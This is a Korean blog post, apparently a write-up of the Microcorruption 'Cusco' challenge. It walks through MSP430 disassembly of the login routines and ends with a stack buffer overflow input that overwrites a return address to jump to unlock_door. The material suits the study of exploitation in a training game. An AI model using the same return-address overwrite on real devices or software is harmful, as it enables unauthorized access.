Microcorruption의 Cusco다.
4500 <login>
4500: 3150 f0ff add #0xfff0, sp
4504: 3f40 7c44 mov #0x447c "Enter the password to continue.", r15
4508: b012 a645 call #0x45a6 <puts>
450c: 3f40 9c44 mov #0x449c "Remember: passwords are between 8 and 16 characters.", r15
4510: b012 a645 call #0x45a6 <puts>
4514: 3e40 3000 mov #0x30, r14
4518: 0f41 mov sp, r15
451a: b012 9645 call #0x4596 <getsn>
451e: 0f41 mov sp, r15
4520: b012 5244 call #0x4452 <test_password_valid>
4524: 0f93 tst r15
4526: 0524 jz #0x4532 <login+0x32>
4528: b012 4644 call #0x4446 <unlock_door>
452c: 3f40 d144 mov #0x44d1 "Access granted.", r15
4530: 023c jmp #0x4536 <login+0x36>
4532: 3f40 e144 mov #0x44e1 "That password is not correct.", r15
4536: b012 a645 call #0x45a6 <puts>
453a: 3150 1000 add #0x10, sp
453e: 3041 ret
Hanoi와 문제 형태는 같은데, 이번에는 특정 메모리의 값이 무언지 판단하고 문을 열어주지 않고 test_password_valid 함수가 호출된 후에 r15 값이 0이 나와야 문이 열린다. 뭐가 어떻게 되는지 모르니깐 48글자를 다 넣어보자. 6161616162626262636363636464646465656565666666666767676768686868696969696A6A6A6A6B6B6B6B6C6C6C6C (0x30)을 넣어봤다.
4452 <test_password_valid>
4452: 0412 push r4
4454: 0441 mov sp, r4
4456: 2453 incd r4
4458: 2183 decd sp
445a: c443 fcff mov.b #0x0, -0x4(r4)
445e: 3e40 fcff mov #0xfffc, r14
4462: 0e54 add r4, r14
4464: 0e12 push r14
4466: 0f12 push r15
4468: 3012 7d00 push #0x7d
446c: b012 4245 call #0x4542 <INT>
4470: 5f44 fcff mov.b -0x4(r4), r15
4474: 8f11 sxt r15
4476: 3152 add #0x8, sp
4478: 3441 pop r4
447a: 3041 ret
이번에는 int 0x7d를 한다.
INT 0x7D.
Interface with the HSM-1. Set a flag in memory if the password passed in is correct.
Takes two arguments. The first argument is the password to test, the second is the location of a flag to overwrite if the password is correct.
4542 <INT>
4542: 1e41 0200 mov 0x2(sp), r14
4546: 0212 push sr
4548: 0f4e mov r14, r15
454a: 8f10 swpb r15
454c: 024f mov r15, sr
454e: 32d0 0080 bis #0x8000, srㄷㄷ
4552: b012 1000 call #0x10
4556: 3241 pop sr
4558: 3041 ret
r15에 변조를 할 수 있는 부분이 있는지 싹 추적했는데, 내가 입력한 값으로 r15를 어떻게 할 수가 없다. 가만 생각해보니 헛짓거리 하는 것 같아서 Hanoi 문제를 생각했다. 특정 바이트 값을 조작할 수 있느냐였다. 스택은 이전 함수부터 계속 쌓이고 버퍼 오버 플로우를 시키면 이전 함수의 ret를 덮을 수가 있다! 616161616161616161616161616161614644를 넣어주면 이전 함수의 ret를 unlock_door 함수의 주소로 변경할 수 있고, password는 틀렸지만 clear 할 수 있다.
댓글 없음:
댓글 쓰기